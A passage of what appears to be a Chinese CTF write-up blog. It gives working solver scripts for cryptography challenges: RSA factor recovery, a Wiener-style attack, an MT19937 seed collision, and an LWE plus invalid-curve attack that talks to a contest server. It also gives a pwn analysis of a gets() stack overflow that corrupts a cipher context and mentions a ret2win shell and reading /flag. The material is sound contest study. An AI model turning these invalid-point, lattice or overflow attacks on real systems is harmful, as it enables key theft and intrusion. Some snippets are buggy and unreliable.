投影之后，问题变成了：判断一个点是否属于某个特定的循环子群 ⟨B⟩。

n2 = 52437899，平方根只有约 7242，所以直接用 Baby-step Giant-step (BSGS) 就够了：

预处理（Baby steps）： 计算 B, 2B, 3B, ..., mB（m ≈ 7242），存入哈希表
查询（Giant steps）： 对目标点 Q，检查 Q - i·(mB) 是否在哈希表里
如果找到，说明 Q = k·B，即 Q 在 ⟨B⟩ 上 → bit = 1
如果找不到 → bit = 0

exp

randomkey2求解:

import os
import hashlib
from Crypto.Util.number import getPrime, isPrime, bytes_to_long, long_to_bytes, sieve_base
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from sage.all import *
import random

SBOX = [……]
RCON = [……]

def f(temp):
    temp = ((temp << 8) & 0xffffffff) | (temp >> 24)
    temp = (SBOX[temp >> 24] << 24) | (SBOX[(temp >> 16) & 0xff] << 16) | \
            (SBOX[(temp >> 8) & 0xff] << 8) | SBOX[temp & 0xff]
    temp ^= (RCON[i // 4] << 24)
    return temp

p = 894362857559026179331137858163171244692330458686691817147151686510138149072629249805192610194955887268699493489986644358985787792306571138913751852781817242442738855876105832075630899193066030625707102105504045626592721137734508220949338971288835675616912857960168109434993252017362153522216335262904453411430681
q = 164195561637274513624887610551974984147755026728071046612407624393580153089770421357022468998374000595941309295832877857222182069508330024208472529516349141526061897950124208213207208111413766515578529057421593475166390267575929133248186079526793072302069326041987231069697444034924311986098794311055615181743
n = p*q
e = 65537
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(m)
m = long_to_bytes(m)
print(m)

w1 = [
    int.from_bytes(m[i*4 : (i+1)*4],byteorder= 'big')
    for i in range(4)
]

w = [0]*44
print(long_to_bytes(w1[3]))
w[43] = w1[3]
w[42] = w1[2]
w[41] = w1[1]
w[40] = w1[0]
w[39] = w[43] ^ w[42]
w[38] = w[42] ^ w[41]
w[37] = w[41] ^ w[40]

for k in range(36,0,-1):
    if(k % 4 == 0):
        w[k] = w[k+4] ^ f(w[k+3])
    w[k] = w[k+4] ^ w[k+3]
print(w)
random_key2 = b''.join(x.to_bytes(4, 'big') for x in w[:4])
print(random_key2)

randomkey2求解:

import ast, math
from pathlib import Path

p_ec = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
o    = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289
n2   = 52437899
T    = o // n2  # 投影标量：消掉 P1 和 P3，只保留 n2 阶分量

# ── 椭圆曲线运算 
inv = lambda x: pow(x % p_ec, -1, p_ec)

def add(P, Q):
    if P is None: return Q
    if Q is None: return P
    x1, y1 = P; x2, y2 = Q
    if x1 == x2:
        if (y1 + y2) % p_ec == 0: return None
        s = 3 * x1 * x1 * inv(2 * y1) % p_ec
    else:
        s = (y2 - y1) * inv(x2 - x1) % p_ec
    x3 = (s * s - x1 - x2) % p_ec
    return x3, (s * (x1 - x3) - y1) % p_ec

def mul(k, P):
    R = None
    while k:
        if k & 1: R = add(R, P)
        P = add(P, P); k >>= 1
    return R

# ── 读入密文点 
cs = ast.literal_eval(Path("cs_data.txt").read_text())
pts = [tuple(p) for p in cs[1:]]  # 跳过 cs[0]（K_point）

# ── 投影到 n2-torsion 
proj = [mul(T, pt) for pt in pts]

# ── BSGS 子群成员判定 
m = math.isqrt(n2) + 1
base = proj[0]

# baby steps: {j*base : 0 <= j < m}
baby = {}
cur = None
for j in range(m):
    baby[cur] = j
    cur = add(cur, base)

# giant step: -m*base
giant_step = (mul(m, base)[0], (-mul(m, base)[1]) % p_ec)

def on_line(Q):
    """判断 Q 是否在  上"""
    cur = Q
    for i in range(m + 1):
        if cur in baby:
            k = i * m + baby[cur]
            if k < n2 and mul(k, base) == Q:
                return True
        cur = add(cur, giant_step)
    return False


bits = "".join("1" if on_line(pt) else "0" for pt in proj)
key1 = int(bits, 2).to_bytes(16, "big")

print(f"random_key1 = {key1.hex()}")

解aes

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

random_key1 = bytes.fromhex("8df563a823b3add6e0a4da31f2555ebe")
random_key2 = bytes.fromhex("51ded1088be2bfd82291a04a42f6cd32")

iv    = bytes.fromhex("9ee38737a1bdaaa5f665b4d91988e8d6")
c_aes = bytes.fromhex("8533aeeb80395a4dc344ca9e4fe036463e6563b3acc3ad85087c166a4e497c516b8cda153dbe3ab2d59999d61195b16e")

key  = bytes(a ^ b for a, b in zip(random_key1, random_key2))
flag = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(c_aes), 16)

print(f"key = {key.hex()}")
print(f"flag = {flag.decode()}")

写在最后：

出乎自己意料的是自己居然在赛场上完成了 $rsa$ 和 $randomkey2$ 的求解
可惜ecc倒是没怎么学，最终也是倒在了这个 $ECC$ 子群投影攻击爆零了，可惜。
再接再励吧。😭😭😭

nctf_wp

2026-04-06T08:06:33.000Z

居然还能有我能ak的比赛哈哈

nctf_wp

Ez_RSA

题目

from Crypto.Util.number import *
from secrets import flag

nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
hint = p ^ int(bin(q)[:1:-1], 2)

print(f"nbits = {nbits}")
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint = {hint}")

# nbits = 512
# n = 113811568965055236591575124486758679392744553312134148909105203346767338399571149835776281246434662598568061596388663253038256689345299177200416663539845688277447346395189677568405388952270634599590543939397457325519084988358577805564978282375882831765408646889940777372958745826393653515323881370943911243589
# e = 65537
# c = 28637971616659975415203771281328378878549288421921080859079174552593926682380791394169267513651195690175911968893108214839850128311436983081661719981958725955998997347063633351893769712863719014753154993940174947685060864532241899917269380408066913133029163844049218414849768354727966161277243216291473824377
# hint = 157624334507300300837306007943988438905196981213124202656160912356046979618961372023595598201180149465610337965346427263713514476892241848899142885213492

分析

题目在干什么

一个标准rsa，但给出一个hint
$hint = p \oplus \_q$ (_q为q转二进制的逆序)
$e,c,n$

突破口：

肯定从hint入手：
$hint = p \oplus \_q$
再联系另一个pq相关: $n = p*q$
有这两个条件便可以一位位爆破01再按条件剪枝，恢复p，q，
也就是DFS分支界限法

DFS 剪枝策略

这里剪枝逻辑还是比较复杂的，这里借鉴了一下糖醋小鸡块的exp

高位剪枝：当恢复的高位乘积已经大于 n 时，剪枝
低位剪枝：当恢复的低位乘积与 n 的低位不匹配时，剪枝
中间剪枝：利用异或关系限制 p 和 q 位的可能性
原文：糖醋小鸡块的exp

exp

from Crypto.Util.number import *
import sys
sys.setrecursionlimit(2000)

pxorq_int = 157624334507300300837306007943988438905196981213124202656160912356046979618961372023595598201180149465610337965346427263713514476892241848899142885213492
n = 113811568965055236591575124486758679392744553312134148909105203346767338399571149835776281246434662598568061596388663253038256689345299177200416663539845688277447346395189677568405388952270634599590543939397457325519084988358577805564978282375882831765408646889940777372958745826393653515323881370943911243589
c = 28637971616659975415203771281328378878549288421921080859079174552593926682380791394169267513651195690175911968893108214839850128311436983081661719981958725955998997347063633351893769712863719014753154993940174947685060864532241899917269380408066913133029163844049218414849768354727966161277243216291473824377
e = 65537

pxorq = str(bin(pxorq_int)[2:]).zfill(512)
 
def find(ph, qh, pl, ql):
    l = len(ph)
    
    # 递归终点
    if l == 256:
        pp0 = int(ph + pl, 2)
        if n % pp0 == 0:
            pf = pp0
            qf = n // pp0
            phi = (pf - 1) * (qf - 1)
            d = inverse(e, phi)
            m1 = pow(c, d, n)
            print(long_to_bytes(m1))
            exit()
        return

    tmp0 = ph + (512 - 2 * l) * "0" + pl
    tmp1 = ph + (512 - 2 * l) * "1" + pl
    tmq0 = qh + (512 - 2 * l) * "0" + ql
    tmq1 = qh + (512 - 2 * l) * "1" + ql
    if int(tmp0, 2) * int(tmq0, 2) > n:
        return 
    if int(tmp1, 2) * int(tmq1, 2) < n:
        return

    if (int(pl, 2) * int(ql, 2)) % (2**l) != n % (2**l):
        return

    for p_next in ['0', '1']:
        for q_next in ['0', '1']:
            # 推导 q 的低位
            q_low_next = str(int(p_next) ^ int(pxorq[l]))
            
            # 推导 p 的低位
            p_low_next = str(int(q_next) ^ int(pxorq[511 - l]))
            
            # 递归向内层推进
            find(ph + p_next, qh + q_next, p_low_next + pl, q_low_next + ql)


find("1", "1", "1", "1")

Hard_RSA

题目

from Crypto.Util.number import getPrime, bytes_to_long
from secrets import flag

nbits = 512

p = getPrime(nbits)
q = getPrime(nbits)
N = p * q

phi = (p ** 6 - 1) * (q ** 6 - 1)
d = getPrime(int(nbits * 2))
e = pow(d, -1, phi)
m = bytes_to_long(flag)
c = pow(m, e, N)

print(f"{N=}")
print(f"{e=}")
print(f"{c=}")

# N = 74919314162966623026780409394635730851359423962042152804673359696062303592948792225237959325724332015193893411896458285500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620503763041544738664221739366981075762409535100379250338620618401995088237
# e = 115382440363851496163981840486384107492561192043935907058980266086827528886481753709205601977721854806609873255930935032352098823336758578514742052017664624320880734668505025950239731519576865823805968986213809315084654931730883582863309373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323411466463777306753584000597164370440130463322472428512359842079912370327303953535847288486792265729271519703439492772330110292227648936855652822622441290491046329984519666372475460813076592933292830035116887451745183745100906127431677048635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310361812370155771970529353757475322332721624146410615784452731493876192295337760243245754571266092484216808152656042093317366135329225792879900416688516879481855055555090043162672499662746617097324126665279154039087354142631899072583591875973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519764420837504151687245003054945691565644413351468736320044794906326974209391387438080503466412668871800294636642414652459851564340761041186735760949703483158497968185223108721790483665796212381899768853381692611758739543856321631250649771030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128373562401278765223263898827117486913915002789859131458355569155109058470780395630260922250802643984468511286231457608106175597829905176417125226959444682393922189933288709798973807586352487516329712976257944503755516552005154708122299515447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044768946879601448500750228731652608416508751483139575431367276816127751324213761
# c = 46597101834449995414927716136287390792937263485498695607622613274985303919148099277379370499625616739447192289360957892792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733452207322953311422907574742284390173017434719506924876701654539254320355

分析

在本题中：

\phi = (p^6 - 1)(q^6 - 1)

e \cdot d \equiv 1 \pmod{\phi} \implies e \cdot d - k \cdot \phi = 1

接下来分析一下各个变量的数据：

$p, q$ 分别是 512 bits， $N = p \times q$ 是 1024 bits。
$d$ 的大小为 $2 \times 512 = 1024$ bits。
$\phi = (p^6 - 1)(q^6 - 1) \approx p^6 q^6 = N^6$ ，因此 $\phi$ 是一个非常庞大的数字(6144 bits)
$\phi$ 非常大，同时也就决定的e也会非常大

可以从大小看出来此题可能要用winner攻击

将上面的等式除以 $d \cdot \phi$ ，可以进行变形：$$\frac{e}{\phi} - \frac{k}{d} = \frac{1}{d \cdot \phi}$$

用 $N^6$ 来近似替代 $\phi$
使用连分数展开 $e/N^6$ ，其中某个收敛分数可能就是 $k/d$

exp

from Crypto.Util.number import long_to_bytes

N = 74919314162966623026780409394635730851359423962042152804673359696062303592948792225237959325724332015193893411896458285500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620503763041544738664221739366981075762409535100379250338620618401995088237
e = 115382440363851496163981840486384107492561192043935907058980266086827528886481753709205601977721854806609873255930935032352098823336758578514742052017664624320880734668505025950239731519576865823805968986213809315084654931730883582863309373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323411466463777306753584000597164370440130463322472428512359842079912370327303953535847288486792265729271519703439492772330110292227648936855652822622441290491046329984519666372475460813076592933292830035116887451745183745100906127431677048635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310361812370155771970529353757475322332721624146410615784452731493876192295337760243245754571266092484216808152656042093317366135329225792879900416688516879481855055555090043162672499662746617097324126665279154039087354142631899072583591875973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519764420837504151687245003054945691565644413351468736320044794906326974209391387438080503466412668871800294636642414652459851564340761041186735760949703483158497968185223108721790483665796212381899768853381692611758739543856321631250649771030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128373562401278765223263898827117486913915002789859131458355569155109058470780395630260922250802643984468511286231457608106175597829905176417125226959444682393922189933288709798973807586352487516329712976257944503755516552005154708122299515447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044768946879601448500750228731652608416508751483139575431367276816127751324213761
c = 46597101834449995414927716136287390792937263485498695607622613274985303919148099277379370499625616739447192289360957892792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733452207322953311422907574742284390173017434719506924876701654539254320355

def convergents(num, den):
    #连分数
    p0, p1 = 0, 1
    q0, q1 = 1, 0
    while den != 0:
        a = num // den
        num, den = den, num % den
        p0, p1 = p1, a * p1 + p0
        q0, q1 = q1, a * q1 + q0
        yield p1, q1


N6 = N ** 6
for k, d in convergents(e, N6):
    if k <= 1 or d <= 1:
         continue
        
    if d.bit_length() < 1000:
            continue
            
    if (e * d - 1) % k != 0:
            continue        
    m = pow(c, d, N)
    msg = long_to_bytes(m)
    if b'flag{' in msg or b'ctf{' in msg or b'}' in msg:
        print(f"{msg.decode('utf-8', errors='ignore')}")
        break

RNG GAME

题目

[x] Opening connection to 114.66.24.221 on port 35896
[x] Opening connection to 114.66.24.221 on port 35896: Trying 114.66.24.221
[+] Opening connection to 114.66.24.221 on port 35896: Done
[*] Switching to interactive mode
Welcome RNG GAME!!

In this game, I'll give you a seed that I used to generate a random number, and you need to give me a different seed that can generate the same random number. If you can do it, you will get the flag!!

Here is my seed: 292188839097896339823144826199846165803

分析

容器用的是 Python 的 random.seed(int)，CPython 底层会先把整数种子取绝对值，再初始化 RNG，所以 S 和 -S 会得到完全相同的随机状。
所以实际做法很简单：
连上给seed加一个负号发回去就行了

exp

无

RNG GAME revenge

题目

[x] Opening connection to 114.66.24.221 on port 42133
[x] Opening connection to 114.66.24.221 on port 42133: Trying 114.66.24.221
[+] Opening connection to 114.66.24.221 on port 42133: Done
[*] Switching to interactive mode
Welcome RNG GAME!!

In this game, I'll give you a seed that I used to generate a random number, and you need to give me a different seed that can generate the same random number. If you can do it, you will get the flag!!

Here is my seed: 181930321019515717634582396341010528431

分析

发负号不给过，大概率要老老实实找seed了~

mt安全性分析

当我们调用 random.seed(x) 并且 x 是一个超大整数时，Python 底层会先把它切片。Python 会把它按 32 位为一块，切成一个 C 数组。原 Seed(128位)切分后，就变成了一个长度 $L = 4$ 的数组 $K$ 。 $K = [k_0, k_1, k_2, k_3]$
接下来，Python 会把这个数组 $K$ 混淆进 MT19937 的状态矩阵（长度为 624 的数组）里。在 CPython 的 _randommodule.c 的 init_by_array 函数中，有这么一个关键的循环：

// i 是状态矩阵的索引，j 是种子数组的索引
// key_length 就是我们刚才的 L (等于 4)
for (; k; k--) {
    mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1664525UL))
          + init_key[j] + j;  // <--- 漏洞就在这！
    
    i++; j++;
    if (i >= 624) { mt[0] = mt[623]; i = 1; }
    if (j >= key_length) j = 0; // <--- j 越界后会归零
}

核心构造

$j$ 由0到3就会清零，长度为4，所以我们可构造 $K'$ ，长度 $L'$ 为8(这里12，16都可以，与8同理)。
前4个元素： $K'[0 \dots 3] = K[0 \dots 3]$
与原k相同
后四个元素：

K'[4] + 4 \equiv K[0] + 0 \pmod{2^{32}}

K'[5] + 5 \equiv K[1] + 1 \pmod{2^{32}}

......

由此得到 $K'[4],K'[5],K'[6],K'[7]$
再把这个长度为 8 的新数组重组为新 Seed，把这个数组重新拼装成一个超大正整数即为所求。

exp

words = []
seed = 181930321019515717634582396341010528431
while seed > 0:
    words.append(seed & 0xffffffff)
    seed>>= 32
        
L = len(words)
    
# 拼接第二段,抵消掉索引 j 带来的影响
new_words = words.copy()
for w in words:
    new_words.append((w - L) & 0xffffffff)
        
    # 重新组装成一个新的超大整数
new_seed = 0
for i, w in enumerate(new_words):
    new_seed += w << (32 * i)
        

print(f"{new_seed}")

把结果发回去就能出flag

yqs

既然叫让ai打那就让ai打吧哈哈

题目

from util import *
import os
from hashlib import sha256, sha512
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


def pack_point(P):
    x, y = P
    return (int(x) << 256) | int(y)


def unpack_point(n):
    x = n >> 256
    y = n & ((1 << 256) - 1)
    return (x, y)


def get_curve25519_base():
    p = 2**255 - 19
    x = 9
    y2 = (x**3 + 486662*x**2 + x) % p
    y = pow(y2, (p + 3) // 8, p)
    if (y * y) % p != y2:
        y = (y * pow(2, (p - 1) // 4, p)) % p
    return (x, y)


def vec2key(v, q, N):
    x = 0
    for i in range(N):
        x += int(v[i]) * (q ** i)
    return int.from_bytes(sha256(str(x).encode()).digest(), 'little')


MAX_MSG = 100


if __name__ == '__main__':
    ecc = ECC(486662, 1, 2**255 - 19)
    G = (9, 14781619447589544791020593568409986887264606134616475288964881837755586237401)
    
    master_sec = int.from_bytes(os.urandom(30))
    master_pub = ecc.mul(G, master_sec)
    
    print(f"[+] The Celestial Master's Seal: {pack_point(master_pub)}")
    
    flag = os.environ.get("FLAG",'')
    aes_key = sha256(str(master_sec).encode()).digest()
    enc_flag = AES.new(aes_key, AES.MODE_ECB).encrypt(pad(flag.encode(), 32))
    print(f"[+] Heavenly Cipher: {enc_flag.hex()}")
    
    round_num = 0
    
    while True:
        round_num += 1
        lwe = LWE()
        msg_count = 0
        
        print(f"[+] Crystal domain's modulus for today: {lwe.q}")

        while True:
            print(f"\n[+] Round {round_num} | Spiritual trials: {msg_count}/{MAX_MSG}")

            choice = input("[-] Channel your intent (m=message, e=exchange):").strip()
            
            if choice == 'm':
                if msg_count >= MAX_MSG:
                    print("[!] Your spiritual energy is depleted this round.")
                    continue
                
                try:
                    msg = int(input("[-] Offer your spiritual essence (int):").strip())
                except ValueError:
                    print("[!] Invalid essence format")
                    continue
                
                msg_bytes = str(msg).encode()
                m_hash = int(sha512(msg_bytes).hexdigest(), 16)
                m_trunc = m_hash & ((1 << 128) - 1)
                
                ct = lwe.encrypt(m_trunc)
                print(f"[+] Resonance echoes: {ct}")
                msg_count += 1
            
            elif choice == 'e':
                try:
                    point_int = int(input("[-] Forge your spirit formation (int):").strip())
                except ValueError:
                    print("[!] Invalid formation")
                    continue
                
                point_int &= (1 << 512) - 1
                x, y = unpack_point(point_int)
                
                priv = lwe.export_priv_key()
                x ^= priv
                y ^= priv
                
                result = ecc.mul((x, y), master_sec)
                if result is None:
                    print("[+] Domain resonance: 0")
                else:
                    print(f"[+] Domain resonance: {pack_point(result)}")
                break
            
            else:
                print("[!] Invalid input")

分析

先看 m 分支。虽然代码里取了 sha512(msg) 的低 128 bit，但 util.py 里的 encrypt() 又把消息截成了低 8 bit：

def encrypt(self, m):
    m = m & ((1 << 8) - 1)

所以我们只需要找一个整数 msg 满足：

sha512(str(msg)) & 0xff == 0

就能让一整轮 100 次 m 查询都变成

b =  + e mod q,  e in {0,1,2,3}

也就是低噪声 LWE 样本。实际可用的一个值是 155。
每轮拿到 100 组样本后，把 a_int 按 q 进制拆成 77 维向量，记成：

b = A s + e mod q

其中 A 是 100 x 77 矩阵。取一个可逆的 77 x 77 子矩阵 A1，剩余部分记为 A2，构造

A' = A2 * A1^-1 mod q

再构造 q-ary lattice：

B = [ I   0 ]
    [ A' qI ]

对目标向量 (b1, b2) 做 Babai 最近平面，就能恢复 A1 * s，进而得到整轮的 s，最后按题目自己的编码方式导出：

priv = sum(s_i * q^i)

然后看 e 分支。这里的椭圆曲线实现有两个关键问题：

ECC.add() 根本不检查输入点是否在曲线上。
加法公式只用到了 a=486662 和 p，完全没有用到 b。

这意味着它实际上接受任意满足

y^2 = x^3 + 486662x + c

的点参与运算。甚至题目给的基点 G 本身都不在 b=1 这条曲线上，而是在

y^2 = x^3 + 486662x + 35039673

上。

e 分支会先把输入坐标和本轮 priv 异或，再做标量乘：

priv = lwe.export_priv_key()
x ^= priv
y ^= priv
result = ecc.mul((x, y), master_sec)

由于我们已经通过 m 分支恢复了本轮 priv，所以可以反向构造输入，让异或后的点在模 p 意义下等于我们指定的目标点 T=(X,Y)。做法是把 priv 拆成：

low  = priv mod 2^256
high = priv - low

由于 high 的低 256 位全为 0，只要令

X' = (X - high) mod p
Y' = (Y - high) mod p
send_x = low xor X'
send_y = low xor Y'

那么服务端异或后得到的坐标就与 (X,Y) 模 p 同余，最终群运算效果等价于把目标点 T 送进 ecc.mul()。

接下来离线在若干条

y^2 = x^3 + 486662x + c

上找平滑小阶点。每轮送一个小阶点进去，得到：

R = [master_sec]T

再在对应小阶子群里做离散对数，拿到 master_sec mod r。多轮结果用 CRT 合并，只要模数总位数超过 master_sec 的 240 bit，就能唯一恢复 master_sec。

最后按题目给的方式：

aes_key = sha256(str(master_sec).encode()).digest()

直接解 AES-ECB 即可拿到 flag。

样例实例最终恢复出的 flag 为：

flag{2fda0938-0e4e-47fe-a93c-e3acdd7f3991}

exp

import ast
import math
import re
import socket
import sys
from hashlib import sha256, sha512

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from sage.all import GF, ZZ, EllipticCurve, Matrix, Zmod, block_matrix, identity_matrix, vector, zero_matrix
from sage.groups.generic import discrete_log
from sage.modules.free_module_integer import IntegerLattice

P = 2**255 - 19
A = 486662
N = 77
SECRET_BITS = 30 * 8
CHOICE_PROMPT = b"Channel your intent (m=message, e=exchange):"
MSG_PROMPT = b"Offer your spiritual essence (int):"
EXCH_PROMPT = b"Forge your spirit formation (int):"

CANDIDATES = [
    {
        "order": 729380,
        "x": 54007250996756016609984692531703789983497466652543853648505076115209714422153,
        "y": 11420948079344624061811117947033700600731869911104045029545364046925771560076,
    },
    {
        "order": 3017190559154,
        "x": 39782261549721368487544338429217710875590504917981451751598775240647005804997,
        "y": 27058902655726988991642482147940031647344453312080849459903019379414322243475,
    },
    {
        "order": 809863230466,
        "x": 21339865532795799406936306284210884594099822460002277878372278469343891360746,
        "y": 32182642312486764320242949115055469439114620593482803708238522045960937213144,
    },
    {
        "order": 860319,
        "x": 13550293931699101904714641619878495026615649507264721134559143223932928862386,
        "y": 11612790386843864019292277240308042421041359280444393244236636574190211403688,
    },
    {
        "order": 2337977514391113965,
        "x": 21133093359692079394854028785492482788766880358441260098104401216605063074380,
        "y": 53530943094771985304629905502141040624590200283766154915618701800559943124530,
    },
    {
        "order": 888210,
        "x": 40506358286513472400985913263522669061494354309206609486915726034358945994147,
        "y": 36220157836862305911637606530382611288202887461403242698515771373540756378673,
    },
    {
        "order": 1023697,
        "x": 19484570579711046539651373485362066824795512357288131780385143876336351578393,
        "y": 52656309065833811451596525672860538290986318899927877747856848400355980031706,
    },
    {
        "order": 165704196346,
        "x": 13929110909751300203916093363322431336425294736761806612242601099507985842813,
        "y": 23276731423880951278521450484902716348381544670150601982335984310115542744750,
    },
]


def pack_point(x, y):
    return (int(x) << 256) | int(y)


def unpack_point(n):
    return n >> 256, n & ((1 << 256) - 1)


def int_to_vec(value, q):
    coeffs = []
    for _ in range(N):
        coeffs.append(value % q)
        value //= q
    return coeffs


def find_zero_hash_msg():
    x = 0
    while True:
        if int(sha512(str(x).encode()).hexdigest(), 16) & 0xFF == 0:
            return x
        x += 1


ZERO_HASH_MSG = find_zero_hash_msg()


class Tube:
    def __init__(self, host, port):
        self.sock = socket.create_connection((host, port))
        self.sock.settimeout(30)
        self.buf = b""

    def recvuntil(self, marker):
        while marker not in self.buf:
            chunk = self.sock.recv(4096)
            if not chunk:
                raise EOFError("connection closed")
            self.buf += chunk
        idx = self.buf.index(marker) + len(marker)
        out = self.buf[:idx]
        self.buf = self.buf[idx:]
        return out

    def recvline(self):
        return self.recvuntil(b"\n")

    def sendline(self, data):
        self.sock.sendall(data + b"\n")


def parse_round_header(data):
    text = data.decode(errors="ignore")
    master_pub = int(re.search(r"Celestial Master's Seal:\s*(\d+)", text).group(1))
    enc_flag = bytes.fromhex(re.search(r"Heavenly Cipher:\s*([0-9a-fA-F]+)", text).group(1))
    q = int(re.search(r"Crystal domain's modulus for today:\s*(\d+)", text).group(1))
    return master_pub, enc_flag, q


def validate_secret(q, rows, samples, secret):
    for row, (_, b) in zip(rows, samples):
        lhs = sum((ai * si) % q for ai, si in zip(row, secret)) % q
        err = (b - lhs) % q
        if err > 3 and q - err > 3:
            return False
    return True


def recover_secret_vector(q, samples):
    rows = [int_to_vec(a_int, q) for a_int, _ in samples]
    A_full = Matrix(Zmod(q), rows)
    pivot_rows = list(A_full.pivot_rows())
    order = pivot_rows + [i for i in range(len(samples)) if i not in pivot_rows]

    A = Matrix(Zmod(q), [rows[i] for i in order])
    b = vector(ZZ, [samples[i][1] for i in order])

    A1 = A[:N]
    A2 = A[N:]
    A1_inv = A1.inverse()
    Aprime = (A2 * A1_inv).change_ring(ZZ)

    extra = len(samples) - N
    basis = block_matrix(
        ZZ,
        [
            [identity_matrix(ZZ, N), zero_matrix(ZZ, N, extra)],
            [Aprime, q * identity_matrix(ZZ, extra)],
        ],
    )

    lattice = IntegerLattice(basis.transpose(), lll_reduce=True)
    closest = vector(ZZ, lattice.babai(b))
    y1 = vector(Zmod(q), list(closest[:N]))
    secret = [int(x) for x in (A1_inv * y1)]

    if not validate_secret(q, rows, samples, secret):
        closest = vector(ZZ, lattice.closest_vector(b))
        y1 = vector(Zmod(q), list(closest[:N]))
        secret = [int(x) for x in (A1_inv * y1)]
    return secret


def export_priv(q, secret):
    acc = 0
    mul = 1
    for coeff in secret:
        acc += coeff * mul
        mul *= q
    return acc


def craft_exchange_input(priv, target_x, target_y):
    low = priv & ((1 << 256) - 1)
    high = priv & ~((1 << 256) - 1)
    high_mod = high % P
    tx = (target_x - high_mod) % P
    ty = (target_y - high_mod) % P
    return pack_point(low ^ tx, low ^ ty)


def dlog_on_candidate(candidate, response_int):
    curve_c = (candidate["y"] * candidate["y"] - candidate["x"] ** 3 - A * candidate["x"]) % P
    curve = EllipticCurve(GF(P), [A, curve_c])
    base = curve(candidate["x"], candidate["y"])
    if response_int == 0:
        return 0
    rx, ry = unpack_point(response_int)
    point = curve(rx, ry)
    return int(discrete_log(point, base, ord=candidate["order"], operation="+"))


def crt_pair(a1, m1, a2, m2):
    g = math.gcd(m1, m2)
    lcm = m1 // g * m2
    k = ((a2 - a1) // g) * pow(m1 // g, -1, m2 // g) % (m2 // g)
    return (a1 + m1 * k) % lcm, lcm


def decrypt_flag(ciphertext, master_sec):
    key = sha256(str(master_sec).encode()).digest()
    plain = AES.new(key, AES.MODE_ECB).decrypt(ciphertext)
    return unpad(plain, 32)


def solve(host, port):
    io = Tube(host, port)
    residue, modulus = 0, 1

    banner = io.recvuntil(CHOICE_PROMPT)
    _, enc_flag, q = parse_round_header(banner)

    for candidate in CANDIDATES:
        samples = []
        for _ in range(100):
            io.sendline(b"m")
            io.recvuntil(MSG_PROMPT)
            io.sendline(str(ZERO_HASH_MSG).encode())
            io.recvuntil(b"Resonance echoes: ")
            samples.append(ast.literal_eval(io.recvline().decode().strip()))

        secret = recover_secret_vector(q, samples)
        priv = export_priv(q, secret)

        io.sendline(b"e")
        io.recvuntil(EXCH_PROMPT)
        payload = craft_exchange_input(priv, candidate["x"], candidate["y"])
        io.sendline(str(payload).encode())
        io.recvuntil(b"Domain resonance: ")
        response_int = int(io.recvline().decode().strip())

        residue_i = dlog_on_candidate(candidate, response_int)
        residue, modulus = crt_pair(residue, modulus, residue_i, candidate["order"])

        if modulus.bit_length() > SECRET_BITS:
            break

        banner = io.recvuntil(CHOICE_PROMPT)
        _, _, q = parse_round_header(banner)

    flag = decrypt_flag(enc_flag, residue)
    print(flag.decode())


if __name__ == "__main__":
    solve(sys.argv[1], int(sys.argv[2]))

Encryption

笔者不会打pwn题，照着ai的思路写一写吧

题目

附件：
- main
- exploit.py

原始 exploit.py 可以通过 ret2win 打到低权限 shell，但拿不到 flag。
真正目标是利用 gets 溢出覆盖加密上下文，直接让程序输出一个可逆的 flag 密文。

分析

程序流程很直接：

初始化 libcipher.so 的加密上下文 ctx
gets 读取用户输入到栈上缓冲区
strlen 检查输入长度是否超过 64
加密用户输入并输出
读取 /flag，加密后输出 Flag Ciphertext

原来的 ret2win 链会跳到 0x401436，执行：

system("su ctf -s /bin/sh");

这只能拿到 ctf 用户 shell，而远端 /flag 是 600 root:root，所以这条链不是正解。

真正的点在于：

gets 没有限制长度
长度检查在 gets 之后
用户输入缓冲区后面紧跟着就是加密上下文 ctx

也就是说，输入不仅能覆盖返回地址，也能先覆盖 ctx。

关键栈布局：

输入缓冲区：rbp-0x3e0
ctx：rbp-0x3a0
RIP 偏移：0x3e8

由于 gets 支持写入 \x00，我们可以：

前 64 字节放正常可见字符
后面继续跟大量 \x00

这样 strlen(buf) 只会看到前面的可见内容，长度检查通过，但后面的 ctx 已经被改坏了。

逆完 libcipher.so 后可以发现：

ctx[0x000:0x150] 是轮密钥区
ctx[0x150:0x250] 是替换表
ctx[0x250:0x350] 是逆替换表
ctx[0x350] = 0x14，即 20 轮

最关键的是，这题的替换表其实是恒等映射，不是真正的 AES S-box：

for (i = 0; i <= 0xff; i++) {
    sbox[i] = i;
    invsbox[i] = i;
}

所以只要把前 0x150 字节轮密钥区清零，加密就退化成一个固定的线性变换。

最终利用方式：

发送 64 字节已知明文
再发送 0x150 个 \x00 清空轮密钥
程序会输出：
- 我们已知明文的密文
- flag 的密文

因为这时加密器已经没有未知密钥，本地把这个线性变换逆掉即可恢复 flag。

我这里选的已知明文是：

